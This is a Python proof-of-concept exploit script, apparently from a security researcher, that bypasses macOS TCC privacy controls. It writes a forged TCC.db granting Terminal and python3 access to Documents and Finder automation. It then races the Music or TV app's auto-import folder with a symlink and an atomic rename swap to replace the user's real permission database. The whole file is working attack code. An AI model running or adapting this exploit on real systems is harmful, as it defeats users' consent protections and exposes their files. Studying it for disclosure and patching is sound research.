#!/usr/bin/python3 import sys import os import shutil import ctypes import subprocess import time HOMEDIR = "/Users/{}/".format(os.environ["USER"]) PAYLOADFILE = "TCC.db" # this filename determines the filename in dst TARGET_DIR = "{}/Library/Application Support/com.apple.TCC".format(HOMEDIR) SRCFILE = "TCC.db" CHECK_FILE = os.path.join(TARGET_DIR, SRCFILE) SLEEPTIME = 3 origprint = print def myprint(*args): if DEBUG: origprint(*args) print = myprint # globals if os.environ.get("DEBUG") is not None: DEBUG = bool(int(os.environ["DEBUG"])) else: DEBUG = False # START renameatx_np libc = ctypes.CDLL(None, use_errno=True) AT_FDCWD = 0xfffffffe RENAME_SWAP = 0x00000002 renameatx_np = libc.renameatx_np renameatx_np.restype = ctypes.c_int renameatx_np.argtypes = [ ctypes.c_int, ctypes.c_char_p, ctypes.c_int, ctypes.c_char_p, ctypes.c_uint, ] def atomic_rename(src, dst): src_c = ctypes.c_char_p(src.encode()) dst_c = ctypes.c_char_p(dst.encode()) ret = renameatx_np(AT_FDCWD, src_c, AT_FDCWD, dst_c, RENAME_SWAP) if ret != 0: # print("RENAME ERROR", ret) raise RuntimeError("ERROR") # END ### TCC db generator (not important) # TCC db to be generated... TCC_SQLDATA = """ PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL); INSERT INTO admin VALUES('version',23); CREATE TABLE policies ( id INTEGER NOT NULL PRIMARY KEY, bundle_id TEXT NOT NULL, uuid TEXT NOT NULL, display TEXT NOT NULL, UNIQUE (bundle_id, uuid)); CREATE TABLE active_policy ( client TEXT NOT NULL, client_type INTEGER NOT NULL, policy_id INTEGER NOT NULL, PRIMARY KEY (client, client_type), FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE); CREATE TABLE access ( service TEXT NOT NULL, client TEXT NOT NULL, client_type INTEGER NOT NULL, auth_value INTEGER NOT NULL, auth_reason INTEGER NOT NULL, auth_version INTEGER NOT NULL, csreq BLOB, policy_id INTEGER, indirect_object_identifier_type INTEGER, indirect_object_identifier TEXT NOT NULL DEFAULT 'UNUSED', indirect_object_code_identity BLOB, flags INTEGER, last_modified INTEGER NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)), PRIMARY KEY (service, client, client_type, indirect_object_identifier), FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.shortcuts',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.securityd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.cloudpaird',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.identityservicesd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.suggestd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.Safari',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.sociallayerd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.upload-request-proxy.com.apple.photos.cloud',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.iad-cloudkit',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.assistant.assistantd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.ScreenTimeAgent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.syncdefaultsd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.donotdisturbd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.siriknowledged',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.appleaccountd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.passd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.amsaccountsd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.icloud.searchpartyuseragent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.willowd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.remindd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.cloudphotod',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937171); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.amsengagementd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937173); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.StatusKitAgent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937182); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.Passbook',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937182); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.routined',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937182); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.knowledge-agent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937184); INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.textinput.KeyboardServices',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1670937199); INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1670953394); INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','/usr/libexec/sshd-keygen-wrapper',1,2,2,1,X'fade0c000000003c0000000100000006000000020000001d636f6d2e6170706c652e737368642d6b657967656e2d7772617070657200000000000003',NULL,NULL,'UNUSED',NULL,0,1670953636); INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','/usr/bin/python3',1,2,2,1,X'fade0c000000003c0000000100000006000000020000001d636f6d2e6170706c652e737368642d6b657967656e2d7772617070657200000000000003',NULL,NULL,'UNUSED',NULL,0,1670953636); INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','pwned by @gergelykalman',1,2,2,1,X'fade0c000000003c0000000100000006000000020000001d636f6d2e6170706c652e737368642d6b657967656e2d7772617070657200000000000003',NULL,NULL,'UNUSED',NULL,0,1670953636); INSERT INTO access VALUES('kTCCServiceAppleEvents','com.apple.Terminal',0,2,3,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,0,'com.apple.finder',X'fade0c000000002c00000001000000060000000200000010636f6d2e6170706c652e66696e64657200000003',NULL,1670953426); INSERT INTO access VALUES('kTCCServiceAppleEvents','/usr/libexec/sshd-keygen-wrapper',1,2,3,1,X'fade0c000000003c0000000100000006000000020000001d636f6d2e6170706c652e737368642d6b657967656e2d7772617070657200000000000003',NULL,0,'com.apple.finder',X'fade0c000000002c00000001000000060000000200000010636f6d2e6170706c652e66696e64657200000003',NULL,1670953638); CREATE TABLE access_overrides ( service TEXT NOT NULL PRIMARY KEY); CREATE TABLE expired ( service TEXT NOT NULL, client TEXT NOT NULL, client_type INTEGER NOT NULL, csreq BLOB, last_modified INTEGER NOT NULL , expired_at INTEGER NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)), PRIMARY KEY (service, client, client_type)); CREATE INDEX active_policy_id ON active_policy(policy_id); COMMIT; """ def generate_tccdb(tcc_dbfile): tcc_sql = "tcc_sql.txt" with open(tcc_sql, "w") as f: f.write(TCC_SQLDATA) if os.path.exists(tcc_dbfile): os.unlink(tcc_dbfile) p = subprocess.Popen("cat \"{}\" | sqlite3 \"{}\"".format(tcc_sql, tcc_dbfile), shell=True) p.wait() os.unlink(tcc_sql) ### END def main(app): # set app-specific parameters if app == "1": watchpath = "{}/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized".format(HOMEDIR) drop_dir = "{}/Music/Music/Media.localized/Automatically Add to Music.localized/".format(HOMEDIR) appname = "Music" apppath = "/System/Applications/Music.app/Contents/MacOS/Music" else: # tv watchpath = "{}/Movies/TV/Media.localized/Automatically Add to TV.localized/Not Added.localized".format(HOMEDIR) drop_dir = "{}/Movies/TV/Media.localized/Automatically Add to TV.localized/".format(HOMEDIR) appname = "TV" apppath = "/System/Applications/TV.app/Contents/MacOS/TV" print("[+] Cleaning up") if not os.path.exists(drop_dir): os.makedirs(drop_dir) os.chdir(drop_dir) os.system("killall -q {}".format(appname)) if os.path.exists(watchpath): shutil.rmtree(watchpath, ignore_errors=False) symlinkpath = os.getcwd() + "/" + "tmp" print("[+] Generating TCC.db") if os.path.exists("TCC.db"): os.unlink("TCC.db") generate_tccdb(PAYLOADFILE) print("[+] Checking original file") orig_inode = os.stat(CHECK_FILE).st_ino print("[?] Original inode: {}".format(orig_inode)) print("[+] Creating file and symlink") if os.path.exists(symlinkpath): if os.path.isdir(symlinkpath): shutil.rmtree(symlinkpath) else: os.unlink(symlinkpath) os.symlink(TARGET_DIR, symlinkpath) print("[+] Trigger") data = open(PAYLOADFILE, "rb").read() f = open(drop_dir + "/" + SRCFILE, "wb") f.write(data) f.flush() f.seek(0, 0) # NOTE: we could keep this open and modify after a successful race f.close() p = subprocess.Popen( [apppath], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) print("[+] Waiting for dir creation") while not os.path.exists(watchpath): pass print("[+] Waiting for new directory creation") while True: dirlist = os.listdir(watchpath) if len(dirlist) > 1: break # print(dirlist) for i in dirlist: if i == ".localized": continue src = os.path.join(watchpath, i) dst = symlinkpath print("[?] \"{}\" -> \"{}\"".format(src, dst)) try: atomic_rename(src, dst) except Exception as exc: print("ERROR: {}".format(exc)) break print("[+] Switched") time.sleep(SLEEPTIME) p.terminate() p.wait() # NOTE: disabled for now # f.truncate(0) # f.write(b'X'*1337) # f.flush() new_inode = os.stat(CHECK_FILE).st_ino if new_inode == orig_inode: print("[-] Fail, inode is the same :(") exit(1) print("[+] SUCCESS! Inode changed {} -> {}".format(orig_inode, new_inode)) os.system("ls -ali \"{}/Library/Application Support/com.apple.TCC/TCC.db\"".format(HOMEDIR)) print("[+] Check permissions: you can\n\t- access Documents\n\t- Automate Finder (TCC bypass)") if __name__ == "__main__": if len(sys.argv) < 2 or sys.argv[1] not in ("1", "2"): origprint("Usage: {} (1|2)".format(sys.argv[0])) exit(1) app = sys.argv[1] main(app)